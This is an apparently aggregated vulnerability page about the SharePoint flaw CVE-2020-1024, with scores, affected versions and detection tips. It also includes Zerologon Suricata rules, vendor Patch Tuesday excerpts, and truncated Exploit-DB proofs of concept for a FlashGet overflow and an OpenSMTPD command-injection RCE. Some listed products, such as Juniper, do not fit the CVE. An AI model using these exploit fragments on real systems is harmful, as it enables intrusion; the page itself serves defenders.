CVE-2020-1024
published 2020-05-21CVE-2020-1024: A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package. An attacker…
PriorityP356high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
EPSS
3.75%
89.8th percentile
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Exploitation of this vulnerability requires that a user uploads a specially crafted SharePoint application package to an affected version of SharePoint.
The security update addresses the vulnerability by correcting how SharePoint checks the source markup of application packages.
Affected
10 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| juniper | junos_os | — | — |
| microsoft | microsoft_sharepoint_enterprise_server_2016 | >= 16.0.0 < publication | publication |
| microsoft | microsoft_sharepoint_foundation_2013_service_pack_1 | >= 15.0.0 < publication | publication |
| microsoft | microsoft_sharepoint_server_2019 | >= 16.0.0 < publication | publication |
| microsoft | sharepoint_enterprise_server | — | — |
| microsoft | sharepoint_foundation | — | — |
| microsoft | sharepoint_server | — | — |
| msrc | microsoft_sharepoint_enterprise_server_2016 | — | — |
| msrc | microsoft_sharepoint_foundation_2013_service_pack_1 | — | — |
| msrc | microsoft_sharepoint_server_2019 | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →CVE-2020-1024 is exploited by uploading a specially crafted SharePoint application package to an affected SharePoint server; detection should focus on unusual application package uploads to SharePoint. ↗
- →Successful exploitation results in arbitrary code running in the context of the SharePoint application pool and SharePoint server farm account; monitor for anomalous process execution under these service accounts. ↗
- →CVE-2020-1024 is one of three SharePoint RCEs (alongside CVE-2020-1023 and CVE-2020-1102) that involve uploading a malicious application package; correlate with the other package-upload CVEs when triaging SharePoint alerts. ↗
- ·The vulnerability stems from SharePoint failing to check the source markup of an application package; the fix corrects this markup validation logic. ↗
- ·As of the advisory, the vulnerability had not been publicly disclosed or actively exploited in the wild. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vendor_msrc8.8CRITICAL
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Microsoft
Microsoft SharePoint Remote Code Execution Vulnerability
vendor_msrc·2020-05-12·CVSS 8.8
CVE-2020-1024 [HIGH] Microsoft SharePoint Remote Code Execution Vulnerability
Microsoft SharePoint Remote Code Execution Vulnerability
Description: A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Exploitation of this vulnerability requires that a user uploads a specially crafted SharePoint application package to an affected version of SharePoint.
The security update addresses the vulnerability by correcting how SharePoint checks the source markup of application packages.
Microsoft Office SharePoint: Microsoft Office SharePoint
Issuing CNA: Microsoft
Impact: Remote Code Execution
Exploit Status:
GHSA
GHSA-xw99-vmpf-qpg4: A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package, aka
ghsa_unreviewed·2022-05-24·CVSS 8.8
CVE-2020-1023 [HIGH] GHSA-xw99-vmpf-qpg4: A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package, aka
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package, aka 'Microsoft SharePoint Remote Code Execution Vulnerability'. This CVE ID is unique from CVE-2020-1024, CVE-2020-1102.
GHSA
GHSA-cpvx-jwgh-3v74: A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package, aka
ghsa_unreviewed·2022-05-24·CVSS 8.8
CVE-2020-1024 [HIGH] GHSA-cpvx-jwgh-3v74: A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package, aka
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package, aka 'Microsoft SharePoint Remote Code Execution Vulnerability'. This CVE ID is unique from CVE-2020-1023, CVE-2020-1102.
GHSA
GHSA-xq28-w75v-29rr: A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package, aka
ghsa_unreviewed·2022-05-24·CVSS 8.8
CVE-2020-1102 [HIGH] GHSA-xq28-w75v-29rr: A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package, aka
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package, aka 'Microsoft SharePoint Remote Code Execution Vulnerability'. This CVE ID is unique from CVE-2020-1023, CVE-2020-1024.
Suricata
ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate3 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M2
suricata·2022-02-22·CVSS 5.5
CVE-2020-1472 [MEDIUM] ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate3 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M2
ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate3 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M2
Rule: alert tcp-pkt any any -> [$HTTP_SERVERS,$HOME_NET] 1024: (msg:"ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate3 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M2"; flow:established,to_server; flowbits:isset,dcerpc.rpcnetlogon; flowbits:isset,dcerpc.rpcnetlogon.netrsrvreqchal.nullcc; flowbits:set,dcerpc.rpcnetlogon.netrsrvrauth.nosignnoseal; content:"|05 00 00|"; startswith; fast_pattern; content:"|1a 00|"; offset:22; depth:2; content:"|00 00 00 00 00 00 00 00|"; distance:0; content:!"|00 00|"; within:2; isdataat:!8,relative; byte_test:1,!&,0x40,6,relative; threshold:type both, count 5, seconds 30, track by_sr
Suricata
ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate3 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1
suricata·2022-02-22·CVSS 5.5
CVE-2020-1472 [MEDIUM] ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate3 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1
ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate3 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1
Rule: alert tcp-pkt any any -> [$HTTP_SERVERS,$HOME_NET] 1024: (msg:"ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate3 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1"; flow:established,to_server; flowbits:isset,dcerpc.rpcnetlogon; flowbits:isset,dcerpc.rpcnetlogon.netrsrvreqchal.nullcc; flowbits:set,dcerpc.rpcnetlogon.netrsrvrauth.nosignnoseal; content:"|05 00 00|"; startswith; fast_pattern; content:"|1a 00|"; offset:22; depth:2; content:"|00 00 00 00 00 00 00 00|"; distance:0; content:!"|00 00|"; within:2; isdataat:!5,relative; byte_test:1,!&,0x40,3,relative; threshold:type both, count 5, seconds 30, track by_sr
Suricata
ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M2
suricata·2022-02-22·CVSS 5.5
CVE-2020-1472 [MEDIUM] ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M2
ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M2
Rule: alert tcp-pkt any any -> [$HTTP_SERVERS,$HOME_NET] 1024: (msg:"ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M2"; flow:established,to_server; flowbits:isset,dcerpc.rpcnetlogon; flowbits:isset,dcerpc.rpcnetlogon.netrsrvreqchal.nullcc; flowbits:set,dcerpc.rpcnetlogon.netrsrvrauth.nosignnoseal; content:"|05 00 00|"; startswith; fast_pattern; content:"|0f 00|"; offset:22; depth:2; content:"|00 00 00 00 00 00 00 00|"; distance:0; content:!"|00 00|"; within:2; isdataat:!8,relative; byte_test:1,!&,0x40,6,relative; threshold:type both, count 5, seconds 30, track by_sr
Suricata
ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1
suricata·2022-02-22·CVSS 5.5
CVE-2020-1472 [MEDIUM] ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1
ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1
Rule: alert tcp-pkt any any -> [$HTTP_SERVERS,$HOME_NET] 1024: (msg:"ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1"; flow:established,to_server; flowbits:isset,dcerpc.rpcnetlogon; flowbits:isset,dcerpc.rpcnetlogon.netrsrvreqchal.nullcc; flowbits:set,dcerpc.rpcnetlogon.netrsrvrauth.nosignnoseal; content:"|05 00 00|"; startswith; fast_pattern; content:"|0f 00|"; offset:22; depth:2; content:"|00 00 00 00 00 00 00 00|"; distance:0; content:!"|00 00|"; within:2; isdataat:!5,relative; byte_test:1,!&,0x40,3,relative; threshold:type both, count 5, seconds 30, track by_sr
Suricata
ET EXPLOIT Zerologon Phase 3/3 - NetrLogonSamLogonWithFlags Request with 0x00 Client Credentials (CVE-2020-1472)
suricata·2022-02-22·CVSS 5.5
CVE-2020-1472 [MEDIUM] ET EXPLOIT Zerologon Phase 3/3 - NetrLogonSamLogonWithFlags Request with 0x00 Client Credentials (CVE-2020-1472)
ET EXPLOIT Zerologon Phase 3/3 - NetrLogonSamLogonWithFlags Request with 0x00 Client Credentials (CVE-2020-1472)
Rule: alert tcp-pkt any any -> [$HTTP_SERVERS,$HOME_NET] 1024: (msg:"ET EXPLOIT Zerologon Phase 3/3 - NetrLogonSamLogonWithFlags Request with 0x00 Client Credentials (CVE-2020-1472)"; flow:established,to_server; flowbits:isset,dcerpc.rpcnetlogon; flowbits:isset,dcerpc.rpcnetlogon.netrsrvrauth.nosignnoseal; content:"|05 00 00|"; startswith; fast_pattern; content:"|2d 00|"; offset:22; depth:2; content:"|00 00 00 00 00 00 00 00 00 00 00 00|"; distance:0; content:!"|00 00 00 00|"; within:4; content:"|00 00 00 00 00 00 00 00 00 00 00 00|"; distance:4; within:12; reference:url,www.secura.com/blog/zero-logon; reference:url,dirkjanm.io/a-different-way-of-abusing-zerologon/; reference:c
Suricata
ET EXPLOIT Zerologon Phase 3/3 - Malicious NetrServerPasswordSet2 (CVE-2020-1472)
suricata·2022-02-22·CVSS 5.5
CVE-2020-1472 [MEDIUM] ET EXPLOIT Zerologon Phase 3/3 - Malicious NetrServerPasswordSet2 (CVE-2020-1472)
ET EXPLOIT Zerologon Phase 3/3 - Malicious NetrServerPasswordSet2 (CVE-2020-1472)
Rule: alert tcp-pkt any any -> [$HTTP_SERVERS,$HOME_NET] 1024: (msg:"ET EXPLOIT Zerologon Phase 3/3 - Malicious NetrServerPasswordSet2 (CVE-2020-1472)"; flow:established,to_server; flowbits:isset,dcerpc.rpcnetlogon; flowbits:isset,dcerpc.rpcnetlogon.netrsrvreqchal.nullcc; content:"|05 00 00|"; startswith; content:"|1e 00|"; offset:22; depth:2; content:"|24 00 00 00 06|"; distance:0; fast_pattern; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Suricata
ET EXPLOIT Possible Zerologon Phase 1/3 - NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020-1472)
suricata·2020-09-14·CVSS 5.5
CVE-2020-1472 [MEDIUM] ET EXPLOIT Possible Zerologon Phase 1/3 - NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020-1472)
ET EXPLOIT Possible Zerologon Phase 1/3 - NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020-1472)
Rule: alert tcp-pkt any any -> [$HTTP_SERVERS,$HOME_NET] 1024: (msg:"ET EXPLOIT Possible Zerologon Phase 1/3 - NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020-1472)"; flow:established,to_server; flowbits:isnotset,dcerpc.rpcnetlogon.netrsrvreqchal.nullcc; flowbits:isset,dcerpc.rpcnetlogon; flowbits:set,dcerpc.rpcnetlogon.netrsrvreqchal.nullcc; content:"|05 00 00|"; startswith; fast_pattern; content:"|04 00|"; offset:22; depth:2; content:"|00 00 00 00 00 00 00 00|"; endswith; threshold:type limit, count 1, seconds 30, track by_src; reference:url,www.secura.com/blog/zero-logon; reference:cve,2020-1472; reference:url,thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-fu
Exploit-DB
FlashGet 1.9.6 - Denial of Service (PoC)
exploitdb·2020-05-07
FlashGet 1.9.6 - Denial of Service (PoC)
FlashGet 1.9.6 - Denial of Service (PoC)
---
# Exploit Title: FlashGet 1.9.6 - Denial of Service (PoC)
# Date: 2020-05-02
# Author: Milad Karimi
# Testen on: Kali Linux
# Software Link: http://www.flashget.com/en/download.htm?uid=undefined
# Version: 1.9.6
# CVE : N/A
#!/usr/bin/python
from time import sleep
from socket import *
res = [
'220 WELCOME!! :x\r\n',
'331 Password required for %s.\r\n',
'230 User %s logged in.\r\n',
'250 CWD command successful.\r\n',
'257 "%s/" is current directory.\r\n' # <-- %s B0f :x
]
buf = 'A' * 332
s = socket(AF_INET, SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
print '[+] listening on [FTP] 21 ...\n'
c, addr = s.accept()
c.send(res[0])
user = ''
for i in range(1, len(res)):
req = c.recv(1024)
print '[*][CLIENT] %s' % (req)
tmp = res[i]
if(req.
Exploit-DB
OpenSMTPD 6.6.1 - Remote Code Execution
exploitdb·2020-01-30·CVSS 9.8
CVE-2020-7247 [CRITICAL] OpenSMTPD 6.6.1 - Remote Code Execution
OpenSMTPD 6.6.1 - Remote Code Execution
---
# Exploit Title: OpenSMTPD 6.6.1 - Remote Code Execution
# Date: 2020-01-29
# Exploit Author: 1F98D
# Original Author: Qualys Security Advisory
# Vendor Homepage: https://www.opensmtpd.org/
# Software Link: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1
# Version: OpenSMTPD '.format(sys.argv[0]))
print("E.g. {} 127.0.0.1 25 'touch /tmp/x'".format(sys.argv[0]))
sys.exit(1)
ADDR = sys.argv[1]
PORT = int(sys.argv[2])
CMD = sys.argv[3]
s = socket(AF_INET, SOCK_STREAM)
s.connect((ADDR, PORT))
res = s.recv(1024)
if 'OpenSMTPD' not in str(res):
print('[!] No OpenSMTPD detected')
print('[!] Received {}'.format(str(res)))
print('[!] Exiting...')
sys.exit(1)
print('[*] OpenSMTPD detected')
s.send(b'HELO x\r\n')
res = s.recv(1024)
if '250
Trendmicro
Patch Tuesday: More Fixes for SharePoint, TLS, Runtime
blogs_trendmicro·2020-05-13·CVSS 8.8
[HIGH] Patch Tuesday: More Fixes for SharePoint, TLS, Runtime
Exploits & Vulnerabilities
# Patch Tuesday: More Fixes for SharePoint, TLS, Runtime
This month’s Patch Tuesday includes 111 fixes for Microsoft. Of the 111 vulnerabilities, 16 have been rated Critical while the rest have been ranked Important.
By: Trend Micro
2020/05/13
Read time: ( words)
Save to Folio
Updated on May 20, 2020, 1:45 P.M. PST to include additional Trend Micro solutions.
This month’s Patch Tuesday includes 111 fixes for Microsoft. Of the 111 vulnerabilities, 16 have been rated Critical while the rest have been ranked Important. Four of the vulnerabilities rated as Important for this release were disclosed by the Zero Day Initiative (ZDI): two for remote code execution (RCE) and two for escalation of privileges. Other updates include a few fixes for security flaws for
Tenable
Microsoft’s May 2020 Patch Tuesday Addresses 111 CVEs
blogs_tenable·2020-05-12
Microsoft’s May 2020 Patch Tuesday Addresses 111 CVEs
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Talos
Microsoft Patch Tuesday — May 2020: Vulnerability disclosures and Snort coverage
blogs_talos·2020-05-12·CVSS 9.8
[CRITICAL] Microsoft Patch Tuesday — May 2020: Vulnerability disclosures and Snort coverage
## Microsoft Patch Tuesday — May 2020: Vulnerability disclosures and Snort coverage
By Jon Munshaw.
Microsoft released its monthly security update today, disclosing vulnerabilities across many of its products and releasing corresponding updates. This month's Patch Tuesday covers 111 vulnerabilities. Fifteen of the flaws Microsoft disclosed are considered critical. There are also 95 "important" vulnerabilities and six low- and moderate-severity vulnerabilities each.
Cisco Talos specifically disclosed CVE-2020-0901 , a code execution vulnerability in Excel. This month’s security update also covers security issues in a variety of Microsoft services and software, including SharePoint, Media Foundation and the Chakra scripting engine.
Talos also released a new set of SNORTⓇ rules that provi
Talos
Microsoft Patch Tuesday — May 2020: Vulnerability disclosures and Snort coverage
blogs_talos·2020-05-12·CVSS 9.8
CVE-2020-0901 [CRITICAL] Microsoft Patch Tuesday — May 2020: Vulnerability disclosures and Snort coverage
By Jon Munshaw.
Microsoft released its monthly security update today, disclosing vulnerabilities across many of its products and releasing corresponding updates. This month's Patch Tuesday covers 111 vulnerabilities. Fifteen of the flaws Microsoft disclosed are considered critical. There are also 95 "important" vulnerabilities and six low- and moderate-severity vulnerabilities each.
Cisco Talos specifically disclosed CVE-2020-0901, a code execution vulnerability in Excel. This month’s security update also covers security issues in a variety of Microsoft services and software, including SharePoint, Media Foundation and the Chakra scripting engine.
Talos also released a new set of SNORTⓇ rules that provide coverage for some of these vulnerabilities. For more, check out the full Snort rule
Qualys
May 2020 Patch Tuesday – 111 Vulns, 16 Critical, SharePoint, VS Code, Adobe Patches
blogs_qualys·2020-05-12·CVSS 8.8
[HIGH] May 2020 Patch Tuesday – 111 Vulns, 16 Critical, SharePoint, VS Code, Adobe Patches
Continuing the trend of large Microsoft Patch Tuesdays, this month’s addresses 111 vulnerabilities with 16 of them labeled as Critical. The 16 Critical vulnerabilities cover SharePoint, Browsers, Scripting Engines, Media Foundation, Microsoft Graphics, Microsoft Color Management, and the VS Code Python Extension. Adobe released patches today for Acrobat/Reader, and DNG SDK.
## Workstation Patches
The Browser, Scripting Engine, Media Foundation, Microsoft Graphics, and Microsoft Color Management patches should be prioritized for workstation-type devices, meaning any system that is used for email or to access the internet via a browser. This includes multi-user servers that are used as remote desktops for users.
## SharePoint RCEs
Similar to last month, Microsoft has also released patche
Qualys
May 2020 Patch Tuesday – 111 Vulns, 16 Critical, SharePoint, VS Code, Adobe Patches | Qualys
blogs_qualys·2020-05-12·CVSS 8.8
[HIGH] May 2020 Patch Tuesday – 111 Vulns, 16 Critical, SharePoint, VS Code, Adobe Patches | Qualys
Continuing the trend of large Microsoft Patch Tuesdays, this month’s addresses 111 vulnerabilities with 16 of them labeled as Critical. The 16 Critical vulnerabilities cover SharePoint, Browsers, Scripting Engines, Media Foundation, Microsoft Graphics, Microsoft Color Management, and the VS Code Python Extension. Adobe released patches today for Acrobat/Reader, and DNG SDK.
### Workstation Patches
The Browser, Scripting Engine, Media Foundation, Microsoft Graphics, and Microsoft Color Management patches should be prioritized for workstation-type devices, meaning any system that is used for email or to access the internet via a browser. This includes multi-user servers that are used as remote desktops for users.
### SharePoint RCEs
Similar to last month, Microsoft has also released patc
2020-05-21
Published